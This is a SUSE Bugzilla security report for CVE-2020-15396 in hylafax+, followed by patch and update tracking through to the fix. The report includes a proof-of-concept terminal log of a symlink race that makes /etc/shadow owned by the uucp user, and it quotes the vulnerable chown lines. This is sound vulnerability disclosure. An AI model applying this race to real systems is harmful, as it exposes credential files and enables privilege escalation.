# ~~Bug 1173521 - (CVE-2020-15396) VUL-0: CVE-2020-15396: hylafax+: Chown as root in user controlled directories allows for privilege escalation~~

**Status:** RESOLVED FIXED

**Classification:** Novell Products
**Product:** SUSE Security Incidents
**Component:** Incidents
**Version:** unspecified
**Hardware:** Other Other

**Priority:** P3 - Medium **Severity**: Normal
**Target Milestone:** ---
**Assigned To:** Axel Braun
**QA Contact:** Security Team bot

**URL:**
**Whiteboard:**
**Keywords:**

**Depends on:**
**Blocks:**
Show dependency tree / graph

- Create test case
- Clone This Bug

**Reported:** 2020-06-30 09:53 UTC by Johannes Segitz
**Modified:** 2020-09-18 16:50 UTC (History)
**CC List:** 3 users (show)

**See Also:**
**Found By:** ---
**Services Priority:**
**Business Priority:**
**Blocker:** ---

**Attachments**

Add an attachment (proposed patch, testcase, etc.)

Note
You need to log in before you can comment on or make changes to this bug.

**Johannes Segitz** 2020-06-30 09:53:28 UTC Description

```
POC:
sh-5.0$ id
uid=10(uucp) gid=14(uucp) groups=14(uucp),54(lock)
context=unconfined_u:unconfined_r:unconfined_t:s0
sh-5.0$ pwd
/var/spool/hylafax/etc
sh-5.0$ ls -l /etc/shadow
-rw-r-----. 1 root shadow 1247 Jun  9 08:46 /etc/shadow
sh-5.0$ /tmp/poc . # now while this poc is running start faxsetup as root
[+] watching .
[+] unlinked access log
[+] added link
-rw-r-----. 1 root shadow 1.3K Jun  9 08:46 /etc/shadow
[+] skipping link setup.tmp
-rw-r-----. 1 root shadow 1.3K Jun  9 08:46 /etc/shadow
[+] added link
-rw-r-----. 1 root shadow 1.3K Jun  9 08:46 /etc/shadow
[+] skipping link Fontmap.HylaFAX
-rw-r-----. 1 root shadow 1.3K Jun  9 08:46 /etc/shadow
[+] added link
-r--r--r--. 1 root shadow 1.3K Jun  9 08:46 /etc/shadow
[+] skipping link setup.cache
-r--r--r--. 1 root shadow 1.3K Jun  9 08:46 /etc/shadow
[+] added link
-r--r--r--. 1 root shadow 1.3K Jun  9 08:46 /etc/shadow
[+] skipping link config
-r--r--r--. 1 uucp shadow 1.3K Jun  9 08:46 /etc/shadow

/etc/shadow is now owned by uucp

The issue is here in setupfax
 2392         $CHOWN $faxUID $CONFIG; $CHGRP $faxGID $CONFIG
 2393         $CHMOD 644 $CONFIG

$CONFIG is created, but in a directory where uucp can unlink it and
exchange it with a symlink to /etc/shadow. Doing this via inotify is 100%
stable on my system.

Indirectly fixed by the changed permissions in
https://sourceforge.net/p/hylafax/HylaFAX+/2534/
```

**Axel Braun** 2020-08-11 08:56:26 UTC Comment 1

```
I have submitted https://build.opensuse.org/request/show/825727 containing hylafax
7.0.3 - this should contain the remaining fixes
@Johannes - please review and close bug if satisfied
```

**OBSbugzilla Bot** 2020-08-11 09:40:20 UTC Comment 2

```
This is an autogenerated message for OBS integration:
This bug (1173521) was mentioned in
https://build.opensuse.org/request/show/825731 Factory / hylafax+
https://build.opensuse.org/request/show/825733 15.2 / hylafax+
https://build.opensuse.org/request/show/825734 15.1 / hylafax+
```

**Swamp Workflow Management** 2020-08-14 22:14:06 UTC Comment 3

```
openSUSE-SU-2020:1209-1: An update that fixes two vulnerabilities is now available.

Category: security (moderate)
```

```
Bug References: 1173519,1173521
CVE References: CVE-2020-15396,CVE-2020-15397
JIRA References:
Sources used:
openSUSE Leap 15.2 (src):    hylafax+-7.0.3-lp152.3.6.1
```

**Swamp Workflow Management** 2020-08-14 22:14:56 UTC Comment 4

```
openSUSE-SU-2020:1210-1: An update that fixes two vulnerabilities is now available.

Category: security (moderate)
Bug References: 1173519,1173521
CVE References: CVE-2020-15396,CVE-2020-15397
JIRA References:
Sources used:
openSUSE Leap 15.1 (src):    hylafax+-7.0.3-lp151.4.6.1
```

**Swamp Workflow Management** 2020-08-18 13:15:02 UTC Comment 5

```
openSUSE-SU-2020:1231-1: An update that fixes two vulnerabilities is now available.

Category: security (moderate)
Bug References: 1173519,1173521
CVE References: CVE-2020-15396,CVE-2020-15397
JIRA References:
Sources used:
openSUSE Backports SLE-15-SP1 (src):    hylafax+-7.0.3-bp151.6.4.1
```

**Johannes Segitz** 2020-09-09 09:18:58 UTC Comment 6

```
fixed, thank you
```

**Swamp Workflow Management** 2020-09-18 16:50:49 UTC Comment 7

```
openSUSE-SU-2020:1438-1: An update that fixes two vulnerabilities is now available.

Category: security (moderate)
Bug References: 1173519,1173521
CVE References: CVE-2020-15396,CVE-2020-15397
JIRA References:
Sources used:
openSUSE Backports SLE-15-SP2 (src):    hylafax+-7.0.3-bp152.3.4.1
```

*First Last Prev Next* *This bug is not in your last search results.*

Format For Printing - XML - Clone This Bug - Top of page